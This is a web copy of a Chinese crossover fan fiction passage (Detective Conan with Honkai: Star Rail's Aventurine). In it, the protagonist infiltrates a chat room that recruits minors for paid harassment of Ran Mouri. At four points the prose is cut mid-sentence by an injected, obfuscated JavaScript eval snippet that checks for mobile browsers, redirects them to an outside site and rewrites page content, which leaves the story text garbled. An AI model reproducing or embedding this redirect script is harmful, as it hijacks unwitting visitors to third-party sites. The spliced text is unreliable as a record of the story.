砂金不是没有想过像对待工藤新一那样、把“筹码”与“好运”送给伊达航和娜塔莉,但这两位正得发邪的好人只会拒绝、并且忧心地问他是从哪里得到的这东西,生怕他涉事未深、被不良人带坏, 迫于无奈,砂金才想着打工赚钱,用钱来提升自己的价值、回报对方的付出。 已经坦白到了这种程度上的砂金微微闭眼、又睁开,看向伊达航,“所以可以告诉我,你需要我做些什么吗。” 见砂金情绪好转了一些、愿意和他沟通,伊达航松了口气,“是我没考虑到你的想法,要是你觉得我们现在的相处方式让你感觉不适应的话……” “那就写份‘欠条’吧。”伊达航这么说道。 伊达航试着站在砂金的角度、去理解对方无法心安理得地接受无偿帮助的精神需要,至少“打欠条”可以让砂金别总想着马上就去赚钱这件事。 “等你伤好了之后,再慢慢还都行,别那么着急地逼自己跑起来……现在还不是起跑的时候。” “多少?”砂金问道,“欠款你需要多少。” 压根没打算真地收砂金的钱、只想着能拖一会儿是一会儿的伊达航:“你看着写吧。” 砂金:“伊达先生不怕我写上一个让你亏本的数字吗?” “当你想要回报我的时候,”伊达航这一次将他带来的文件和纸笔都放在了砂金的手上,宣布了这场谈话的结束, “你的这份感情,其实就已经抵上了所有的欠款。” 砂金:“……朋友,你绝对不是一个合格的商人。” “哈哈哈,”伊达航笑得很爽朗,一点也不在意砂金的评价,“所以我现在是一名警察。快看一下文件还有什么问题吧,有不认识的字可以问我。” 娜塔莉说过,砂金很聪明的、很努力,学的也很快,已经快赶上一般的学龄前儿童水平了,伊达航为了方便砂金认读,还专门打印了真名假名两个版本的文件, 砂金握上了笔,笔触生疏地用刚学没几天的文字先在白纸上打上了欠条,一眼望去全是平假名、偶尔还有几个错字的字符断断续续的写着, [砂金,欠伊达航先生,60块,伊达航先生需要时,归还。] 5.第 5 章 看着伊达航没什么反应、但很重视地把欠条对折收好,砂金挂着张笑脸什么也没解释, 60块什么? 60枚塔安巴而已,不过这里没有“塔安巴”,砂金也不打算让除他之外的人知道这代表了什么意思, 伊达航作为债主可以不在意自己会收到什么回报,而砂金作为欠债人却必须明白自己要还回去什么。 “好了,确认没什么问题的话,在这里签字……” “伊达大哥!” 等候室的门被突然推开,砂金见过几面、经常跟在伊达航身后的那名警官有几分着急地道,“嫌疑人的家属到了,但他们非要知道是谁打伤了他们儿子,说是要起诉……” “啊,对不起!伊达大哥是还在忙吗?” “没事、高木,我这边……” “伊达先生还有事要处理的话,可以先紧要急的事去办,”砂金十分善解人意地道,“等下我去把玩偶服和没发完的传单还了,就会回家,” “希望还能赶上娜塔莉夫人的下午茶点心时间。” 伊达航保证道,“她会给你留的。” 娜塔莉很喜欢砂金,说不准砂金这次的“逃课”还是在娜塔莉的默许下进行的,不然砂金不见了的话、伊达航他应该很快就能收到娜塔莉的电话才对。 砂金眨巴眨巴漂亮的大眼睛,“我相信,娜塔莉夫人她也一定非常乐意专门给伊达先生留下几份特供爱心小甜点~” “那、那当然……”脸一红,伊达航咳嗽了两声, 这孩子就是会说话。 和一些不是偷盗、就是飞车抢劫——是的、没错,被毛利兰一脚踹出脑震荡后送医治疗的嫌疑人也是个未成年人——相比,砂金讨人喜欢也是理所应当的。 …… 而懂得怎么讨人喜欢并没有什么太大的坏处,比如说现在, 凭着一张好脸和一张抹了蜜一样的甜嘴、还有积极认错道歉的态度,砂金成功从派发传单的小姐姐手里领到了半天的工资, 按照原本的约定,干了一半就走人的砂金其实一分钱都拿不到的, 但谁让这里“好心人”多呢? “嗨,伙计、你最近很缺钱吗?我说不准可以给你出个点子。” 嗯,收回前言,“不怀好意”的人也不少。 正当砂金揣着到手的“半桶金”站在一家手饰用品店门前,思考是现在就给娜塔莉夫人买个小礼物好呢、还是再攒攒送个大的的时候,身后响起了“搭讪”的声音。 砂金没躲,任由一只胳膊大大咧咧、自来熟的架在了他肩膀上, 搭讪者是个年轻、没什么体格可言、长相也平平的青年,同样有头一黄色的头发、但比对砂金的发色很明显能看出来是漂染的成果, 穿的则是劣质皮褂和铆钉牛仔裤,胳膊和袖子上的链条装饰品硌得砂金肩上的伤口有点痛,不过都在可以忍受的程度内。 青年想说什么,可一注意到砂金的长相,张了一半的嘴跑歪了话题,“酷啊!你美瞳哪里买的,看上去可真帅!” 砂金的眼睛总是最惹人注意的。 “这个吗?”砂金弯了弯眼,笑得春暖花开、人畜无害,“我是混血儿,眼睛颜色是天生的。” 虽说砂金是纯血的埃维金人,但别人更愿意相信他是个“混血儿”也没办法,砂金只好给自己再多加上一层谎言了。 说着,砂金接回话题,“还没有问、朋友刚刚想说的是?” “啊对,我是…呃,我是想说……” 被美貌闪了眼的青年缓缓回神,略显僵硬地把胳膊挪了下来,优秀的相貌永远是第一次见面的加分项,“我还以为你挺缺钱的,我看你在门口犹豫好一会儿了。” 青年心底已经有了些退意,不是每一个人都有工藤新一那样的细心程度和观察力的,远远看过来,年纪不大、染着头发,还穿着满是一身绷带的奇装异服在别人家店门口可疑地徘徊…… 青年原本以为砂金是跟他一样“标新立异”、正在混社会的,才上来搭话,结果一照面才发现原来人家是混血的, 混血儿的家庭应该不会太穷吧? 和他不是一类人。 发现不对后的青年想跑,可惜砂金不想放人,在生死中锻练出来的第六感让砂金在对方身上嗅到了一丝“阴谋”的味道, “阴谋”代表了“风险”,而“高风险”代表的是“高回报”, 说不定不用等证件正式到手,就可以攒到给娜塔莉夫人送份大礼的钱了呢?砂金想着,这可真是幸运, 他不会允许自己的“好运”偷偷跑掉的。 “朋友…不瞒你说,”这次换成砂金对着青年勾肩搭背、拦着对方路跑了,“我还真的有些难处……” 眉头微微一蹙、砂金叹了口气,开始了自己的表演,“我刚到这里不久,你应该猜得到一个孤苦伶仃的可怜外乡人、想要在完全陌生的地方站稳脚有多难吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117486|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“尤其还是在身无分文的时候。” “你一个人???”青年惊讶,“你爸妈都不管你的吗?他们把你一个人留在国内?连生活费都不给的吗!” 砂金:“……”所以他这是又被当成需要监护人照顾的未成年了吗? “……很遗憾,他们在我还小的时候就走了,”砂金垂下眼,顺着青年的话往杆子上爬,“如果他们还在的话,或许就可以教我该怎样一个人更好的生活下去了吧?” 青年神色有些动摇,手指不安的蜷缩着,“对不起,我不该那么说的。” 没什么好道歉的,早已经习惯轻飘飘地就将伤疤撕开的砂金,不怎么在意那些创疤下血淋淋的皮肉,他更在意揭开的血痂可以换来什么。 同时砂金也大致摸清了青年的性格——有点坏心眼,但不算多。和老想着把他绑在电刑椅上处刑的伊伊玛尼喀军阀相比,过分的简单好懂了。 半瞌的眼眸掩下了深处的冷漠与算计,吐出的每一个字音起伏都把控在最容易激起人同理心的情绪节奏上, “甚至也不需要他们多做些什么,听我说说话话、聊聊天就足够了,” 青年有几分局促地听着心情低落的陌生人向他吐露着心声,“比如说今天……我又被老板辞退了,本来想着给自己买份礼物、奖励自己又多活了一天的,结果口袋里也没有多少钱了。” “果然,我这样的人就是不配和那些高昂的礼品摆放在一起的吧……” “才没有!” 自觉戳到别人伤口了的青年马上反驳,试图安慰受伤的砂金,“你明明比好多电视上的珠宝都要好看!” “那个,你叫我胜村吧,我们加个联系方式,”自称胜村的青年掏出了手机,做出了决定,“我拉你进个聊天室,里面经常有些大少爷大小姐发的……咳、就是兼职什么的,多少都能赚点。” 达成目的的砂金顺势掏出伊达航给他新买的手机,感激不尽地道,“真是太好!胜村桑直接叫我砂金就好,那么我该怎么报答你的帮助呢?” “咳咳,告、告诉管理员是我、我拉你进的群就行。” 胜村有点结巴,拉人入伙会有一笔很大的奖金,所以一开始他才会把疑似不良少年的砂金当成拉拢的目标,“对了,这个聊天室要对外人保密,具体的要求你记得看公告。” “放心吧朋友,”砂金微微勾唇,“我会守规矩的。” 就让他来看看,他能得到多大的“回报”吧。 6.第 6 章 “我回来了。” 拖着忙了一天而疲惫的身体,伊达航下班回家了,迎接他的是来自爱人的拥抱。 “今天也辛苦了,Wataru。”娜塔莉拍了拍警官先生的后背,“现在挺晚的了,要用点夜宵吗?” “我吃点剩的茶点就够了,”伊达航没那么讲究,抬眼没看到家里的那位新成员时顺口便问道,“砂金呢?已经睡了吗。” 飞车抢劫的那位嫌疑人家长很是难缠,为了防止对方找被害人和见义勇为的那两个孩子的麻烦,伊达航下班后还自行加班多巡逻了几圈,所以回来的也有些晚。 “那孩子今天好像很累,用过药就回屋休息了……” “不累就怪了,”伊达航忍不住吐槽,“拖着那样的身体还敢套着玩偶服到处发传单,幸好没有中暑……那小子心里是一点数都没有的。” “倒不如说是太有数了,”娜塔莉笑笑,伸出手、给伊达航看手腕上多出来的一串仿珍珠手链,“砂金送给我的,估计这是他今天的全部‘工资’了。” 伊达航和娜塔莉都没有忽视过砂金的经济需要,送砂金出门时娜塔莉常常会塞不少零花钱给砂金,但砂金每次都一文不少的还了回来, 所以这次买礼物的钱很明显是砂金靠自己挣回来的——礼物不在于价值的高低,心意才是最重要的。 伊达航叹气,“别说了,他今天还打了张欠条给我,我给夹在手册里了。”他算是看出来了,砂金真的很怕欠他们的情。 “娜塔莉,你也别太惯着他了。” 娜塔莉真的很有“溺爱”砂金的倾向了,伊达航不免有些担忧。 “我之后会注意的,”或许是同为混血儿的身份,儿时因为一头金色和混血相貌而时常受到排斥和歧视的娜塔莉对砂金总有种特殊的滤镜, “只是……我不知道他过去经历了什么,但我知道他一定很累,我有些忍不住想让他多休息一会儿。” 所以娜塔莉抵抗不了砂金的“撒娇”,在她看来、每一个孩子天生就应该有一个可以尽情撒娇的依靠。 “我明白,”伊达航拍拍娜塔莉的肩膀,安慰着自己同样敏感易心软的爱人,“好了,快去休息吧,你明天还要上班。” “你也是,Wataru。” …… 楼下的一对恋人在轻声细语着怕吵醒休息的人,而本来应该用过药休息的人…… 用什么药? 用药是不可能用的,他又没病。 砂金熟练地用牙刷柄把药片全部捣碎,再用水化开冲进马桶里,毁尸灭迹、一气呵成,然后才窝上床里开始研究起刚加的聊天室。 【这么快就找到了新的“赌桌”吗,看来我小看你了。】 [砂金]抱着小小一团的[卡卡瓦夏]飘在砂金的床头,[卡卡瓦夏]好奇地歪了歪头、探头去瞅砂金的手机屏幕,但并没有看懂多少字。 有[卡卡瓦夏]在,[砂金]和砂金的关系要缓和不少,主要表现在[砂金]不会说些过于挖苦难听的话。 砂金则一手抱着字典,一边努力“破译”聊天室里的内容——感谢娜塔莉夫人的细心教导,不至于让他和[卡卡瓦夏]一样大字都不识一个, 上一次这么努力的学习,还是砂金在公司的星际通识补习课上。 [砂金]把[卡卡瓦夏]快歪倒过去的身体扶正,一晃手从空气里摸出个大汉堡包塞到[卡卡瓦夏]怀里,嘴上却向砂金问道,【研究出来什么了。】 砂金很严肃的道,“这是一个……” [砂金]&[卡卡瓦夏]:? “兼职接单聊天室。” 【……你是觉得有小孩子在、我不会骂你,所以在故意挑战我的道德品质有多高尚吗。】 “开个玩笑而已,你真没意思。”砂金挑了下眉、扳回一局,随后把手机往床上一丢,“这只是个蜂蜜罐子,等着别人在往里跳。” 聊天室的“规矩”也不算多,除了不能随意外传聊天室里的内容之外,对加入人员只有一个年龄的硬性要求——只收纳未成年。 莫名其妙混了进去的砂金沉默片刻、对此不做评价,而让他感觉有意思的是聊天室里的“积分”制度。 刚接触聊天室时,看着别人的聊天内容、倒还真有几分胜村口中的“兼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127902|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职”的样子,时不时就会有顶着乱码名字的人在群里发些有偿的“小任务”, 诸如“帮忙取外卖奶茶”、“跑腿送东西”、“替写作业”之类的,除了金钱报酬之外,同时还有管理人员发放给接“兼职”人员的积分。 但小打小闹的任务给的积分和钱都不多,给的多的往往是一些更有“挑战性”的委托, 像是什么“我今天看某某某不顺眼,带整他的照片找我拿钱”;“挑战在超市偷偷拿走一样东西不被发现!”;“在某某书包里放老鼠”……等等, 难怪胜村要找“小混混”入伙,好人家的孩子也干不来这些事。 最令砂金在意的是,那些高积分的成员很少在群里发言, 是偷鸡摸狗的事做多了,不想再做这些委托了,还是……砂金嘴角始终挂着笑容,还是已经看不上这些小打小闹、在做“大生意”了吗? 砂金更倾向于后一种可能,这里的未成年人的三观似乎普遍不怎么定形,更别说聊天室的背后还在有意招收那些“离经叛道”、“喜欢挑战”、“缺钱缺关注”的不良青少年, 说不定这些高积分用户还有另一个聊天室,在那个聊天室里的“委托”会更加“刺激有趣”, 在金钱的利诱和他人的刻意鼓吹下,做出点出格的事也没什么好意外的。 没记错的话,砂金之前听伊达航提到过几次,最近未成年犯罪的案子频发…… 看,他这不就找到了“疑似源头”了吗。 【看样子,你并不打算告诉伊达先生你的“意外收获”。】 “那当然,”砂金有自己的打算,“我还要早点把娜塔莉夫人手上的手链换成真品呢。” 假珍珠和娜塔莉夫人可不相配。 挑挑捡捡好一会儿,砂金发现了个眼熟的名字——#有谁可以教训一下帝丹2年级B班的毛利兰,她总爱抢我的风头!我真的受够她了,我一定要看到她出丑!!!# 见义勇为的那女孩……就叫毛利兰吧? 手指动了动,砂金回复着——#这个忙,我帮了。# 砂金满意地道,“朋友,这就叫做有缘。” 7.第 7 章 【有计划了?】 “你真幽默,”砂金耸肩,“你见过哪个赌徒会有那种东西的?” [砂金]皮笑肉不笑地笑了笑、不做评价,被塞了个奇怪东西的[卡卡瓦夏]不知道两个大人在讨论些什么,还在研究手里的汉堡, 看起来像是吃的?[卡卡瓦夏]咬了一口,也没尝到什么味道…… 【大哥哥!】[卡卡瓦夏]歪头,【这个是什么?】 [砂金]回答着,【是食物。】 【但是没有味道,像是咬了口空气……】 砂金和[砂金]都顿了顿,[卡卡瓦夏]是“过去”,而汉堡这种食物是砂金未来才见过、食用过的东西,对于[卡卡瓦夏]而言,汉堡和空气并无区别, 人无法想象自己从未见过的东西。 [卡卡瓦夏]还在发问,【那它应该是什么味道的?好吃吗?】 “还算不错吧,”砂金说,“和雨水的味道很像。” …… 小时候或许会很喜欢,长大了或许感觉……也没有想象中的那么喜欢。 —————————— 又是一日下午,这一次等待在校门口的人换成了工藤新一。 黑金色在阳光下闪闪发光的筹码被工藤新一抛起接住,再抛起,再接住……脑子里的思路下意识就跑到了和筹码有关的那个人身上, 那个眼睛很特别,给人感觉也有些奇怪的人, 伊达航把砂金拎走之后,出于礼貌、工藤新一并没有跟近对方,所以也没有听得太清那两人的对话,只隐约听见什么“报告”、“检查”、“不合格”之类的字眼, 砂金给他和毛利兰的筹码,工藤新一也仔细检查过了,像是不知道哪种合金的金属制品,除了非常坚硬之外也没有什么异常,好像真的只是随手送出的谢礼, 从相处的模式和外貌判断,伊达警官和对方应当并不是父子关系,这么一来……一位在职警察担当“临时监护人”什么的,可就有些微妙了。 潜在的少年犯?获救的被害人?还是警属遗孤……好吧,至少有警察做看护人,对方应该不会是有意接近小兰、想对小兰不利的家伙, 但对方出现的时机确实有点巧。 没错,自从和砂金分开那日后,工藤新一就在毛利兰身边发现了一些不怀好意的家伙, 小到书包里莫名其妙出现蟑螂老鼠,大到社活后发现鞋柜里被泼了饮料丢了钉子,好在毛利兰还没有因为这些事而受到伤害,工藤新一这才能冷静下来去分析到底是谁在背后针对毛利兰。 工藤新一询问过附近的同学老师,唯数不多得到的消息是有人见到过几个染着头发、穿着校服但不像学生的人, 难道是校外人士混进帝丹找小兰麻烦吗? 毛利大叔的事务所好久没开张了、谈不上得罪什么人,小兰基本上也没有和校外人士打过交道,可能得罪过的人只有前几天抓住的那个抢劫匪, 话再说回来,伊达警官那边为了保护他们几个、已经替他们在抢劫匪家属多面前隐瞒了他们的具体身份信息,抢劫匪的家属想报复也找不到他们才对, 除非有人“泄密”。 而知道他们是帝丹的学生,又知道小兰的长相姓名和抢劫案,还有机会告密的人就是……工藤新一又想到砂金了,不然总不能是被抢劫的受害人恩将仇报吧? 可是砂金的可能性同样很低,理由和之前一样,不管砂金的身份是他猜测的哪一种、还在警察的眼皮子底下生活的对方都没道理去针对一个普普通通的陌生人。 思路陷入到了死胡同里,工藤新一皱着眉头,是他哪一步出错了,还是遗落了什么关键线索…… “朋友,这个可不是这么玩的。” 有几分耳熟的声音在身侧响起,工藤新一猛得扭过头,望进了一片色彩炫丽神秘的眼眸中,抛起还没被他接住的筹码在半空中就“物归了原主”, 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152576|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日未见,已经拆了大半绷带、露出一截纤细指节的手掌握住了筹码,随后筹码灵巧的在指间跳动,曲起的食指在筹码跳过来时刚好轻轻一弹,闪着光的筹码便又跃上了另一只手, 本就做工精细的筹码被来人耍弄得仿佛是只翻舞闪烁的蝴蝶,蝴蝶落下、造物主精雕细琢的一张脸出现在工藤新一面前, “嗨,好久不见啊~”砂金打着招呼,上前几步、左手两指夹着将筹码塞进了工藤新一胸前的口袋里,“不会玩的话,把它当作是个护身符也不错。” “是你!” 突然见到了导致他推理陷入死局的当事人本人,被吓了一跳的工藤新一后退了几步,“你来这里做什么?是找小兰的吗……” 无视因为毛利兰而“疑神疑鬼”、“应激炸毛”的工藤新一,砂金无辜地把手一摊,“别那么紧张嘛朋友,我是来找你玩一场游戏的。” “抱歉、我现在还有其他事要做。”想伤害小兰的人还没有抓到,工藤新一没空和别人玩什么游戏。 “是吗?” 挂着让人看不出情绪的微笑,砂金打了个清脆的响指,冲工藤新一扬了扬下巴,示意工藤新一扭头往回看,随后才继续道,“刚刚是我忘了说,现在补充一下……” 工藤新一转过头,看见了不远处教学楼前,正和结伴的铃木园子有说有笑着向他这边走来的毛利兰,砂金的声音仍然像有魔力一样直逼耳膜, “这场游戏的规则是……” “小、等等小兰!”瞳孔一瞬间放大、工藤新一余光注意到了教学校上一扇半开着的窗户前立着一道人影,人影的手中举着一个花盆,“不要过来——!!!” “你没有拒绝的理由,” 工藤新一冲了出去,花盆也同时被松开,一无所知的毛利兰听到声音、下意识地朝校门口看去,只是此时她已经走到了半开的窗户下方, 花盆急速的下落着,砂金轻声说着,“也没有拒绝的余地。” 8.第 8 章 “碰——!” 工藤新一到底还是慢了一步,只能眼睁睁看着花盆从天而降、砸在了……毛利兰的脚边,碎片四溅——好运的是花盆没有直接砸到人,只是与毛利兰擦肩而过。 “谁啊?!”铃木园子受惊尖叫一声,连忙拽过好友上下检查着,“小兰!你没伤到哪吧?!” “我没事……”毛利兰还有些没回过神,茫然低头看向自己完好无损的脚裸,刚刚好像是有碎片崩过来了吧? 但她没有受伤,所以是感觉错了? 见毛利兰无事,工藤新一松了口气、来不及关心毛利兰,转身继续向教学楼上跑, 他还要去抓那个混蛋家伙! “还好还好,吓死我了,”冷汗都冒出来了的铃木园子拍着胸口,一阵后怕,“小兰你最近好像有些犯小人!一定要小心一点,” “万一被砸中了这可不是说着玩的,”很明显,她也注意到了工藤新一的动向,并且气得不轻, “等工藤抓住那家伙!我绝对要告他故意谋杀!” 毛利兰勉强扯了扯嘴角、露出一个苦笑,这几天经历的太多了,她实在说不出来也许花盆是不小心掉下来的这种乐观的话。 “希望能如这位小姐所愿吧,不过小人之所以是小人,也是因为其狡诈无耻得很……恐怕是不怎么好抓啊。” “不好抓那也不能放过……啊、啊咧,” 怒气冲冲的声音卡在了嗓子里,扭头刚要反驳却被美颜暴击了的铃木园子气短了一瞬间,脱口而出,“哪里冒出来的帅哥?” 掉落的花盆和声响吸引了不多过路人,但在窃窃私语的围观的人群中,金发的青年醒目的可以说是扎眼, 落后工藤新一几步的砂金微微挑眉,摸了摸下巴:“……嗯,是刚冒出来的呢。” 铃木园子僵住,她刚刚是不是说话太大声了点,完了完了、她在帅哥面前的第一印象全完了啊!!! “是、是……”毛利兰则有些惊讶,她还记得做笔录时无意间知道的对方的名字,那么奇怪的名字可以算是过耳难忘了,只是她一下没想好该怎么称呼对方。 “直接叫我砂金就好,我们可以随意一些,”砂金递上台阶,随后看向吐魂中的铃木园子,“这位可爱率真的小姐不来个自我介绍吗?” 他夸她可爱唉?!咳咳、没错,铃木园子对砂金的好感直线上升,只有帅哥才能发现本小姐的可爱率真之处。 谁会不喜欢长得养眼,说话又好听的人呢? “叫、叫我铃木吧。”脸红了红,铃木园子矜持地点点头,胳膊肘轻轻戳了戳好友的腰,压着声音小声八卦,“小兰,你认识这个大帅哥?” “应该算认识吧,”毛利兰同样小声回道,“就是那天我和你说过的、那位不小心被牵扯到案子里的传单熊。” 说完,毛利兰也没把砂金晾在一边,注意到对方有点惨白的脸色,担忧地问道,“你感觉还好吗?” 不知道是不是她的错觉,毛利兰怎么感觉砂金比第一次见面的时候,脸色还要难看,裹在衬衫长裤里、被绷带束缚着的身子骨让人看起来也觉得单薄的可怕。 “不用担心,”砂金摊开双手、试图展示出自己健康得不能再健康的身体,“我不过是还有点体弱,伤其实好的差不多了。” 就是看起来可信度不怎么高…… 哎,砂金心下无奈,这个世界的压制可真霸道,他只是动用本就不多的命途权能给毛利兰套了个盾而已,身上的伤口就痛得厉害, 只是脸色苍白什么的,已经算砂金很能忍了,换了普通人非得痛晕过去不可。 这简直让砂金怀疑要是他再过分一点,会不会直接被当场“猝死”——均衡星神在上,要知道这个出了名的强迫症星神都没有强制让命途行者、令使以及普通人三者相互“均衡”! 寻找“基石”一事,也要找机会提上日程了,他隐约能感知到基石也还在这个世界里,砂金想,倒不是说失去力量会让他寸步难行…… 在与三十四人的搏杀中走出迷宫的时候,在杀死奴隶主被埋入黄沙的时候,在犯下臭名昭著的艾吉哈佐砂金案的时候,在诱骗博识学会去挖掘「繁育」星神塔伊兹育罗斯的遗体的时候, 砂金都只是一个未踏上命途、从茨冈尼亚荒漠里走出来的、只值60枚赤铜币的奴隶而已, 诡计,并不依附于力量。 失去力量一事对砂金的影响远没有身无分文、摸不上赌桌大, 砂金看重的也从来不是力量本身,不然也不会那么干脆地就将存有令使十分之一力量的基石砸个稀碎。 他想的是,找回基石的话,或许有希望摆脱压制、找到离开的方法,虽然有人愿意真心地接纳他,但他总不能一直留在这个世界里, 砂金不属于这里。 …… 几人说话间,工藤新一赶了回来,不过看工藤新一那急锁的眉头和握紧的拳头——无功而返, 等工藤新一追上楼时,去花盆的那人早早就跑没了踪影。 “报警吧,小兰……” 工藤新一虽这么说,但也知道警方想查出什么也是件难事,可那伙人越来越过分了、与之相对的是小兰的处境也越来越危险。 还有…… “你是不是知道些什么,”工藤新一看向砂金,竭力控制着让自己的语气不过于咄咄逼人,“那个‘游戏’是什么意思。” “就是你想的那个意思,” 随意地抄起只手插在衣兜里,面带温和笑意的砂金吐出的却是尖酸刻薄到极点的话,“这不过是一只残喘在下水道里的臭虫组起来的幼稚把戏而已。” 工藤新一眉头皱得更紧了,他当然知道幕后另有黑手,但他不是来听砂金说这些他早就知道了的话的。 “像我们毛利小姐这么善良、美丽,连结交朋友都这么有眼光的人,太容易遭人记恨了,” 砂金没留给工藤新一打断他的机会,涛涛不绝地道:“要知道太阳最大的罪过,就是照耀在了垃圾身上,让本来躲得好好的臭虫暴露了出来,” “毛利小姐越是优秀,那某些臭虫自然就越是在毛利小姐的称托下显得自惭形秽,于是心生嫉妒……” “呃,所以是小兰人太好了的错?”铃木园子晕晕乎乎地反问,在礼让女士的砂金这里获得了插话权,“这也太不讲道理了吧!” “的确是这样,”砂金摊开一只手,“不过这也方便我们找到那只臭虫了呢。” 毛利兰:“那我们该怎么找……” “这个简单,”砂金表现的很是胸有成竹,“毛利小姐身边有没有长得很有碍观瞻的家伙?” “?” 工藤新一脑袋上顶着几个硕大的问号,“背后的推手难道长得很丑?你见过对方???” “见……”砂金拖了个长长得尾音,话锋一转,“是没有见过,但这不是显而易见的答案吗。那句话怎么说的?相由心生,能对我们这么善良、美丽……” 被夸的毛利兰实在不好意思极了,“砂、砂金,这个应该可以跳过吧。” “总之,能对毛利小姐下那般毒手的人的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203510|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对黑透了,”砂金体贴地跳过,总结道,“反应到表象上,那人一定十分丑陋,肥头大耳、面目狰狞,脸上长满脓包,浑身恶臭熏天,” “恐怕见了一面都会让人做噩梦,食不下咽、影响胃口,嗯,所以毛利小姐有认识这样应该丢在垃圾桶里的人吗?” 砂金自信的让工藤新一觉得可怕,“那个人一定就是想害毛利小姐的混蛋。” “……” “……” “……” 现场一片沉默,这个“推理”简直可以概括为是“毫无任何依据的主观偏见、以貌取人以及恶意嘲讽”,连对推理一窍不通的铃木园子都被梗住了, 这么帅一男的……铃木园子暗自咬手帕,怎么就看起来不太聪明呢? 工藤新一也不由怀疑起自己来,他是不是想多了?砂金表现的怎么看,怎么都只像是一个爱抢风头、嘴硬自大、喜欢评头论足以博眼球和关注的普通人。 “抱歉……”只有毛利兰结结巴巴地回复着,“我身边大概、呃……是没有这样的人。” 十分感谢砂金帮忙找坏人,但她还是报警好了。 …… 没有也没关系,他认为有就足够了。 以身体仍有些不适为理由,砂金很轻易地告别了想送他去医院的好心人们,顺便还加上了几人的联系方式,这一趟出门可谓是收获满满, 其中最大的收获是…… 打开手机,将刚刚录下的、包含了各种“主观偏见”的录音发给姓名是一串乱码的联系人,砂金单手打着字, ——下午好,亲爱的雇主,你猜猜我在帮你找某人麻烦的时候,碰见了什么有意思的事?[附件:手机录音.amr] ——? ——[对方已接收文件] 砂金勾唇笑着,等待对方把录音听完,随后没过多久,一条接一条的消息就轰炸了过来, ——那个家伙是谁!!! ——叫砂金是吧,毛利兰哪里值得那么夸奖,他竟然还敢说我是只臭虫,我要把他像臭虫一样碾碎! ——你现在在哪里,我给你加钱!马上让他跪在地上向我求饶!!! ——现在立刻马上! ——你看见没有!我还要撕烂他的嘴、划花他的脸!!!然后打断他的四肢、塞进垃圾桶里!!!!! ——回话!你要多少钱都可以! 果然是个“暴脾气”又“小心眼”的家伙,砂金慢悠悠地按着键盘按键, ——不是我不想帮你呀、朋友,也不知道是哪位群友下手动静太大了,碰一下、一个花盆就掉下来了,现场围观的人又多,我不好再动手,录音还是我冒险录的。 ——不过,我有拍下口出狂言的那家伙的照片…… ——你要多少钱,我买了! ——这倒不是钱的问题,就是……朋友,你有那个权限吧?我这个人嘛,喜欢高风险高回报,可不想浪费那么多时间在无聊的事上。 终于暴露了意图的砂金看着“正在输入”的提示,给犹豫中的对方又下了一剂猛药, ——哎,围观的人那么多,说不定明天就有传闻说有个丑八怪想要谋害帝丹的公主殿下了呢,朋友、这个亏我们可不能吃啊! ——成交!照片给我! 随之发过而来的还有一个聊天室推荐名片,到手了、“高积分”用户的专属聊天频道,三重色彩的眸中闪过丝玩味的笑意,砂金转手把伪装成偷拍视角的自拍照发了过去, ——爽快,那就祝朋友早日达成所愿了。 9.第 9 章 果然和他猜想的一样,作为“发布委托”的“金主老板”,对方有推举普通成员直接加入更深一层群聊的权限,这样一来、他就不用一点一点攒所谓的积分了, 轻轻松松,砂金得到了他想要的。 还在公司的时候,托帕不止一次吐槽过砂金喜欢看报和敲手机平板的复古习惯,都大宇宙时代了、全息投屏它不更方便吗? 不过得易于这种习惯,砂金对手机的操作十分上手,进了群聊没一会儿,他就在聊天室里看见了自己的“通辑令”。 —— [Silica已加入聊天室] ——140513*:不计手段,让他后悔得罪了我!!!老规矩,带照片和视频找我![附件:照片.jpg] 乱码老板没有把录音也发出来,想也是,对方应该没有让群友听别人是怎么骂他的特殊癖好,砂金欣赏了一下自己的照片,继续关注着后续, 这个聊天室看起来要“不务正业”不少,乱码刚发完消息、就有人开始闲聊起来, …… ——236***29:大单子这是? 